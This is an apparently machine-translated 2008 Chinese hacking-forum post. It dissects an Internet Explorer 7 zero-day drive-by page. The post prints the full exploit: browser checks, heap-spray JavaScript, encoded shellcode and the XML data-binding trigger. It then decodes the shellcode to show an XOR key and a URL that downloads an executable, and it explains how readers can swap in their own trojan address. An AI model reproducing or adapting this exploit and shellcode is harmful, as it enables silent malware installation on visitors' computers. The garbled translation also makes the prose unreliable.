The latest IE70day the sample into his own net horse-vulnerability warning-the black bar safety net

2008-12-28T00:00:00
ID MYHACK58:62200821671
Type myhack58
Reporter 佚名
Modified 2008-12-28T00:00:00

Description

The recent popularity of the latest net horse IE70day+shellcode+exe sample already out, just to see, feeling quite a novelty, after all, now or in the sample, and want to put it into their own horses also have to charge some Kung Fu. The current network of horse generally modified the following shellcode is ok. But listen to others said, If you simply modified shellcode, then, ie would crash, so to find a suitable obtain the shellcode still have Fee a lot of effort, however, there are ready-made, no not a waste? Nonsense not say, the analysis begins. Net Horse the sample is as follows

_ Copy the contents to the clipboard _

Code:

`<script language="javascript"> if(navigator. userAgent. toLowerCase(). indexOf("msie 7")==-1)location. replace("about:blank");

function sleep(milliseconds) { var start=new Date(). getTime();

for(var i=0;i<1e7;i++) {if((new Date(). getTime()-start)>milliseconds) {break} } }

function spray(sc) { var infect=unescape(sc. replace(/dadong/g,"\x25\x75")); var heapBlockSize=0x100000; var payLoadSize=infect. length*2; var szlong=heapBlockSize-(payLoadSize+0x038); var retVal=unescape("%u0a0a%u0a0a"); retVal=getSampleValue(retVal,szlong); aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize; zzchuck=new Array(); for(i=0;i<aaablk;i++){zzchuck=retVal+infect} }

function getSampleValue(retVal,szlong) { while(retVal. length*2<szlong) {retVal+=retVal} retVal=retVal. substring(0,szlong/2); return retVal }

var a1="dadong"; spray(a1+"9 0 9 0"+a1+"dadong9090dadong9090dadongE1D9dadong34d9dadong5824dadong5858dadong3358dadongb3dbdadong031cdadong31c3dadong66c9dadonge981dadongfa65dadong3080dadong4021dadongfae2dadong17c9dadong2122dadong4921dadong0121dadong2121dadong214bdadongf1dedadong2198dadong2131dadongaa21dadongcad9dadong7f24dadong85d2dadongf1dedadongd7c9dadongdededadongc9dedadong221cdadong2121dadongd9aadadong19c9dadong2121dadongc921dadong206cdadong2121dadong67c9dadong2121dadongc921dadong22fadadong2121dadongd9aadadong03c9dadong2121dadongc921dadong2065dadong2121dadong11c9dadong2121dadongc921dadong22a8dadong2121dadongd9aadadong2dc9dadong2121dadongc921dadong2040dadong2121dadong3bc9dadong2121dadongca21dadong7279dadongfdaadadong4b72dadong4961dadong3121dadong2121dadongc976dadong2390dadong2121dadongc4c9dadong2121dadong7921dadong72e2dadongfdaadadong4b72dadong4901dadong3121dadong2121dadongc976dadong23b8dadong2121dadongecc9dadong2121dadong7921dadong76e2dadong1dc9dadong2125dadongaa21dadong12d9dadong68e8dadonge112dadonge291dadongd3dddadongac8fdadongde66dadonge27edadong1f7adadong26e7dadong1f99dadong7ea8dadong4720dadonge61fdadong2466dadongc1dedadongc8e2dadong25b4dadong2121dadonga07adadong35cddadong2120dadongaa21dadong1ff5dadong23e6dadong4c42dadong0145dadonge61fdadong2563dadong420edadong0301dadonge3a2dadong1229dadong71e1dadong4971dadong2025dadong2121dadong7273dadongc971dadong22e0dadong2121dadongf1dedadongddaadadonge6aadadonge1a2dadong1f29dadong39abdadongfaa5dadong2255dadongca61dadong1fd7dadong21e7dadong1203dadong1ff3dadong71a9dadonga220dadong75cddadonge112dadongfa12dadongedaadadongd9a2dadong5c75dadong1f28dadong3da8dadonga220dadong25e1dadongd3cadadongedaadadongf8aadadonge2a2dadong1231dadong1fe1dadong62e6dadong200ddadong2121dadong7021dadong7172dadong7171dadong7171dadong7671dadongc971dadong2218dadong2121dadong38c9dadong2121dadong4521dadong2580dadong2121dadongac21dadong4181dadongdededadongc9dedadong2216dadong2121dadongfa12dadong7272dadong7272dadongf1dedadong19a1dadonga1c9dadongc819dadong2e54dadong59a0dadongb124dadongb1b1dadong55b1dadong7427dadongcdaadadong61acdadongde24dadongc9c1dadongde0fdadongdededadongc9e2dadongde09dadongdededadong3099dadong2520dadonge3a1dadong212ddadong3ac9dadongdededadong12dedadong71e1dadongc975dadong2175dadong2121dadongc971dadong23aadadong2121dadongf1dedadonga117dadong051ddadong5621dadongc92bdadong2360dadong2121dadongde12dadongde76dadongc9f1dadong20dadadong2121dadongde49dadong2121dadongde21dadongc9f1dadongdfc9dadongdededadong7672dadong1277dadong71e1dadongc975dadong213fdadong2121dadongc971dadong2374dadong2121dadongf1dedadonga117dadong051ddadong5621dadongc92bdadong232adadong2121dadongde12dadongde76dadong79f1dadong7e7fdadonge27adadong23cadadonge279dadongd8c9dadongdededadong77dedadonga276dadong29cddadongddaadadong294bdadong1f76dadong56dedadongc935dadong237cdadong2121dadongf1dedadongddaadadong4049dadong444cdadong4921dadong6468dadong5367dadongd5aadadong2998dadong2121dadongd221dadong5487dadong4b0edadong1f21dadong55dedadong0105dadong05c9dadong2123dadongde21dadongaaf1dadongc9d9dadong20EAdadong2121dadongF1DEdadongd91adadong2955dadongaa17dadong0565dadong1f01dadong21dedadongde1fdadong0555dadongc93ddadong20cedadong2121dadongf1dedadonge5a2dadong7e31dadong997fdadong2120dadong2121dadong49e2dadong4f4edadong2121dadong5449dadong4d53dadongca4cdadongac34dadong0565dadong7125dadong03c9dadongdedfdadong71dedadong6bc9dadong2123dadongc821dadongdfc3dadongdededadongc7c9dadongdededadonga2dedadong29e5dadong4be2dadong494ddadong554fdadong4d45dadong34cadadong65acdadong2505dadongc971dadongdcdadadongdededadongc971dadong2302dadong2121dadong9ac8dadongdedfdadongc9dedadongdec7dadongdededadonge5a2dadonge229dadong1249dadong2113dadong4921dadong5254dadong5344dadong34cadadong65acdadong2505dadongc971dadongdcf0dadongdededadongc971dadong20d8dadong2121dadongb0c8dadongdedfdadongc9dedadongdec7dadongdededadonge5a2dadonge229dadong4249dadong5657dadong4921dadong4952dadong4e45dadong34cadadong65acdadong2505dadongc971dadongdc86dadongdededadongc971dadong20eedadong2121dadong46c8dadongdedfdadongc9dedadongdec7dadongdededadonge5a2dadonge229dadong5749dadong5946dadongca21dadongac34dadong0565dadong7125dadonga3c9dadongdedcdadong71dedadong8bc9dadong2120dadongc821dadongdf63dadongdededadongc7c9dadongdededadonga2dedadong25e5dadongc9e2dadong208adadong2121dadong3a49dadong67e7dadong7158dadonge7c9dadong2120dadonga221dadong29e5dadongc9e2dadong20b6dadong2121dadongcd49dadong22b6dadong712ddadong93c9dadong2120dadonga221dadong29e5dadongc9e2dadong20a2dadong2121dadong8b49dadong2cdddadong715ddadongbfc9dadong2120dadonga221dadong29e5dadongc9e2dadong204edadong2121dadongcc49dadongce77dadong7117dadongabc9dadong2120dadonga221dadong29e5dadongc9e2dadong207adadong2121dadongd149dadong25abdadong717edadong57c9dadong2120dadonga221dadong29e5dadongc9e2dadongdfd6dadongdededadong5949dadongfa49dadong713ddadong43c9dadong2120dadonga221dadong29e5dadongc9e2dadong2012dadong2121dadongce49dadongc1efdadong7141dadong6fc9dadong2120dadonga221dadong29e5dadongc9e2dadong203edadong2121dadong9149dadong0c68dadong71fadadong1bc9dadong2120dadonga221dadong29e5dadongc9e2dadongde17dadongdededadong8a49dadongba7fdadong713fdadong07c9dadong2120dadonga221dadong29e5dadongc9e2dadongdf86dadongdededadong7849dadonga0b6dadong7123dadong33c9dadong2120dadonga221dadong29e5dadongc9e2dadong21c2dadong2121dadong5f49dadongc3f9dadong7152dadongdfc9dadong2121dadonga221dadong29e5dadongc9e2dadong21eedadong2121dadongbf49dadong9ad8dadong7114dadongcbc9dadong2121dadonga221dadong29e5dadongc9e2dadongdfb3dadongdededadong7649dadong9481dadong719adadongf7c9dadong2121dadonga221dadong29e5dadongc9e2dadongdf5fdadongdededadong3b49dadong3f5bdadong7123dadonge3c9dadong2121dadonga221dadong29e5dadongc9e2dadongdf4bdadongdededadongc149dadong117adadong71b5dadong8fc9dadong2121dadonga221dadong29e5dadongc9e2dadongdf77dadongdededadongb649dadongc3e8dadong7182dadongbbc9dadong2121dadonga221dadong29e5dadongc9e2dadongdf63dadongdededadong4949dadonge405dadong7192dadonga7c9dadong2121dadonga221dadong29e5dadongc9e2dadong2176dadong2121dadong5349dadong92dfdadong7137dadong53c9dadong2121dadonga221dadong29e5dadongc9e2dadongdf65dadongdededadong32cadadong444bdadongc971dadongdad6dadongdededadongc971dadongdf8adadongdededadong96c8dadongdedddadongc9dedadongdec9dadongdededadongc9e2dadongdc88dadongdededadong6e49dadong6ecedadong7124dadong1fc9dadong2121dadonga221dadong29e5dadongc9e2dadong212edadong2121dadongaf49dadong2f6fdadong71cddadong0bc9dadong2121dadonga221dadong29e5dadong12e2dadong45e1dadong61aadadonga411dadong59e1dadong1f31dadong61aadadong1f2ddadong51aadadong8c3ddadongaa1fdadong2961dadongcae2dadong1f2adadong61aadadonga215dadong5de1dadongaa1fdadong1d61dadong41e2dadongaa17dadong054ddadong1705dadong64aadadong171ddadong75aadadong5924dadongf422dadongaa1fdadong396bdadongaa1fdadong017bdadongfc22dadong1ac2dadong1f68dadong15aadadong22aadadong12d4dadong12dedadongdde1dadonga58ddadong55e1dadonge026dadong2ceedadongd922dadongd5cadadong1a17dadong055ddadong5409dadong1ffedadong7baadadong2205dadong47fcdadongaa1fdadong6a2ddadongaa1fdadong3d7bdadongfc22dadongaa1fdadongaa25dadonge422dadonga817dadong0565dadong403ddadongc9e2dadongda47dadongdededadong5549dadong5155dadong0e1bdadong560edadong5656dadong430fdadong4840dadong444Adadong0F42dadong4f42dadong450edadong564edadong0e4fdadong4e4adadong440fdadong4459dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong0021");

sleep(3 0 0 0);

nav=navigator. userAgent. toLowerCase(); if(navigator. appVersion. indexOf('MSIE')!= -1) { version=parseFloat(navigator. appVersion. split('MSIE')[1]) } if(version==7) { w2k3=((nav. indexOf('windows nt 5.2')!= -1)||(nav. indexOf('windows 2 0 0 3')!= -1)); wxp=((nav. indexOf('windows nt 5.1')!= -1)||(nav. indexOf('windows xp')!= -1)); if(wxp||w2k3)document. write('<XML ID=I><X><C><! [CDATA[<image SRC=http://rਊr. book. com src=http://www. google. com]]><! [CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>'); var i=1;while(i<=1 0) { window. status=" ";i++} } </script>`

First of all, you will certainly find the shellcode where the samples have to shellcode just looks looks like and the other horses is somewhat different, is a1+"9 0 9 0"+a1+"dadong9090dadong9090dadongE1D9dadong34d9dadong5824dadong5858dadong3358dadongb3dbdadong031 Form, actually understand what people see out, so much the encryption is actually very easy to understand, the decryption function is sc. replace(/dadong/g,"\x25\x75"). Unravel after, the shellcode is exposed Lushan true face.

_ Copy the contents to the clipboard _

Code:

u9090%u%u9090%u9090%uE1D9%u34D9%u5824%u5858%u3358%uB3DB%u031C%u31C3%u66C9%uE981%uFA65%u3080%u4021%uFAE2%u17C9%u2122%u4921%u0121%u2121%u214B%uF1DE%u2198%u2131%uAA21%uCAD9%u7F24%u85D2%uF1DE%uD7C9%uDEDE%uC9DE%u221C%u2121%uD9AA%u19C9%u2121%uC921%u206C%u2121%u67C9%u2121%uC921%u22FA%u2121%uD9AA%u03C9%u2121%uC921%u2065%u2121%u11C9%u2121%uC921%u22A8%u2121% uD9AA%u2DC9%u2121%uC921%u2040%u2121%u3BC9%u2121%uCA21%u7279%uFDAA%u4B72%u4961%u3121%u2121%uC976%u2390%u2121%uC4C9%u2121%u7921%u72E2%uFDAA%u4B72%u4901%u3121%u2121%uC976%u23B8%u2121%uECC9%u2121%u7921%u76E2%u1DC9%u2125%uAA21%u12D9%u68E8%uE112%uE291%uD3DD%uAC8F%uDE66%uE27E%u1F7A%u26E7%u1F99%u7EA8%u4720%uE61F%u2466%uC1DE%uC8E2%u25B4%u2121%uA07A%u35CD%u2120%uAA21% u1FF5%u23E6%u4C42%u0145%uE61F%u2563%u420E%u0301%uE3A2%u1229%u71E1%u4971%u2025%u2121%u7273%uC971%u22E0%u2121%uF1DE%uDDAA%uE6AA%uE1A2%u1F29%u39AB%uFAA5%u2255%uCA61%u1FD7%u21E7%u1203%u1FF3%u71A9%uA220%u75CD%uE112%uFA12%uEDAA%uD9A2%u5C75%u1F28%u3DA8%uA220%u25E1%uD3CA%uEDAA%uF8AA%uE2A2%u1231%u1FE1%u62E6%u200D%u2121%u7021%u7172%u7171%u7171%u7671%uC971%u2218%u2121% u38C9%u2121%u4521%u2580%u2121%uAC21%u4181%uDEDE%uC9DE%u2216%u2121%uFA12%u7272%u7272%uF1DE%u19A1%uA1C9%uC819%u2E54%u59A0%uB124%uB1B1%u55B1%u7427%uCDAA%u61AC%uDE24%uC9C1%uDE0F%uDEDE%uC9E2%uDE09%uDEDE%u3099%u2520%uE3A1%u212D%u3AC9%uDEDE%u12DE%u71E1%uC975%u2175%u2121%uC971%u23AA%u2121%uF1DE%uA117%u051D%u5621%uC92B%u2360%u2121%uDE12%uDE76%uC9F1%u20DA%u2121%uDE49% u2121%uDE21%uC9F1%uDFC9%uDEDE%u7672%u1277%u71E1%uC975%u213F%u2121%uC971%u2374%u2121%uF1DE%uA117%u051D%u5621%uC92B%u232A%u2121%uDE12%uDE76%u79F1%u7E7F%uE27A%u23CA%uE279%uD8C9%uDEDE%u77DE%uA276%u29CD%uDDAA%u294B%u1F76%u56DE%uC935%u237C%u2121%uF1DE%uDDAA%u4049%u444C%u4921%u6468%u5367%uD5AA%u2998%u2121%uD221%u5487%u4B0E%u1F21%u55DE%u0105%u05C9%u2123%uDE21%uAAF1% uC9D9%u20EA%u2121%uF1DE%uD91A%u2955%uAA17%u0565%u1F01%u21DE%uDE1F%u0555%uC93D%u20CE%u2121%uF1DE%uE5A2%u7E31%u997F%u2120%u2121%u49E2%u4F4E%u2121%u5449%u4D53%uCA4C%uAC34%u0565%u7125%u03C9%uDEDF%u71DE%u6BC9%u2123%uC821%uDFC3%uDEDE%uC7C9%uDEDE%uA2DE%u29E5%u4BE2%u494D%u554F%u4D45%u34CA%u65AC%u2505%uC971%uDCDA%uDEDE%uC971%u2302%u2121%u9AC8%uDEDF%uC9DE%uDEC7%uDEDE% uE5A2%uE229%u1249%u2113%u4921%u5254%u5344%u34CA%u65AC%u2505%uC971%uDCF0%uDEDE%uC971%u20D8%u2121%uB0C8%uDEDF%uC9DE%uDEC7%uDEDE%uE5A2%uE229%u4249%u5657%u4921%u4952%u4E45%u34CA%u65AC%u2505%uC971%uDC86%uDEDE%uC971%u20EE%u2121%u46C8%uDEDF%uC9DE%uDEC7%uDEDE%uE5A2%uE229%u5749%u5946%uCA21%uAC34%u0565%u7125%uA3C9%uDEDC%u71DE%u8BC9%u2120%uC821%uDF63%uDEDE%uC7C9%uDEDE% uA2DE%u25E5%uC9E2%u208A%u2121%u3A49%u67E7%u7158%uE7C9%u2120%uA221%u29E5%uC9E2%u20B6%u2121%uCD49%u22B6%u712D%u93C9%u2120%uA221%u29E5%uC9E2%u20A2%u2121%u8B49%u2CDD%u715D%uBFC9%u2120%uA221%u29E5%uC9E2%u204E%u2121%uCC49%uCE77%u7117%uABC9%u2120%uA221%u29E5%uC9E2%u207A%u2121%uD149%u25AB%u717E%u57C9%u2120%uA221%u29E5%uC9E2%uDFD6%uDEDE%u5949%uFA49%u713D%u43C9%u2120%uA221%u29E5%uC9E2%u2012%u2121% uCE49%uC1EF%u7141%u6FC9%u2120%uA221%u29E5%uC9E2%u203E%u2121%u9149%u0C68%u71FA%u1BC9%u2120%uA221%u29E5%uC9E2%uDE17%uDEDE%u8A49%uBA7F%u713F%u07C9%u2120%uA221%u29E5%uC9E2%uDF86%uDEDE%u7849%uA0B6%u7123%u33C9%u2120%uA221%u29E5%uC9E2%u21C2%u2121%u5F49%uC3F9%u7152%uDFC9%u2121%uA221%u29E5%uC9E2%u21EE%u2121%uBF49%u9AD8%u7114%uCBC9%u2121%uA221%u29E5%uC9E2%uDFB3%uDEDE% u7649%u9481%u719A%uF7C9%u2121%uA221%u29E5%uC9E2%uDF5F%uDEDE%u3B49%u3F5B%u7123%uE3C9%u2121%uA221%u29E5%uC9E2%uDF4B%uDEDE%uC149%u117A%u71B5%u8FC9%u2121%uA221%u29E5%uC9E2%uDF77%uDEDE%uB649%uC3E8%u7182%uBBC9%u2121%uA221%u29E5%uC9E2%uDF63%uDEDE%u4949%uE405%u7192%uA7C9%u2121%uA221%u29E5%uC9E2%u2176%u2121%u5349%u92DF%u7137%u53C9%u2121%uA221%u29E5%uC9E2%uDF65%uDEDE% u32CA%u444B%uC971%uDAD6%uDEDE%uC971%uDF8A%uDEDE%u96C8%uDEDD%uC9DE%uDEC9%uDEDE%uC9E2%uDC88%uDEDE%u6E49%u6ECE%u7124%u1FC9%u2121%uA221%u29E5%uC9E2%u212E%u2121%uAF49%u2F6F%u71CD%u0BC9%u2121%uA221%u29E5%u12E2%u45E1%u61AA%uA411%u59E1%u1F31%u61AA%u1F2D%u51AA%u8C3D%uAA1F%u2961%uCAE2%u1F2A%u61AA%uA215%u5DE1%uAA1F%u1D61%u41E2%uAA17%u054D%u1705%u64AA%u171D%u75AA%u5924% uF422%uAA1F%u396B%uAA1F%u017B%uFC22%u1AC2%u1F68%u15AA%u22AA%u12D4%u12DE%uDDE1%uA58D%u55E1%uE026%u2CEE%uD922%uD5CA%u1A17%u055D%u5409%u1FFE%u7BAA%u2205%u47FC%uAA1F%u6A2D%uAA1F%u3D7B%uFC22%uAA1F%uAA25%uE422%uA817%u0565%u403D%uC9E2%uDA47%uDEDE%u5549%u5155%u0E1B%u560E%u5656%u430F%u4840%u444A%u0F42%u4F42%u450E%u564E%u0E4F%u4E4A%u440F%u4459%u2121%u2121%u2121%u2121% u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u0021

With a shellcode,the next step is to house searches group analysis, first, the shellcode is converted into exe file, with a OD load Single-step tracking, to the following position when note. As shown in Figure !

XOR BYTE PIR DS:[EAX],2 1 This is responsible for the shellcode to decrypt the derived function, since the shellcode is XOR encrypted, and from here it can be seen the key is 2 1, which is a good do it~~~ We put the shellcode to copy the contents to the clipboard code:%u5549%u5155%u0E1B%u560E%u5656%u430F%u4840%u444A%u0F42%u4F42%u450E%u564E%u0E4F%u4E4A%u440F%u4459%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121% u2121%u2121%u2121%u2121%u2121%u2121%u2121%u0021 Part 2 1 XOR, 就可以得出http://www.baikec.cn/down/ko.exe ! This is the net horse download address.

Knowing these principles, this net horse into your horse is easy! As long as we put their horses of the address with 2 and 1 XOR, and convert unicode to replace the original ones, and in accordance with the principles of the GET method of encryption unicode, network the horse of the renovation even completed!!!

Know the truth, the life of the synthesizer also is not what difficult thing.~~~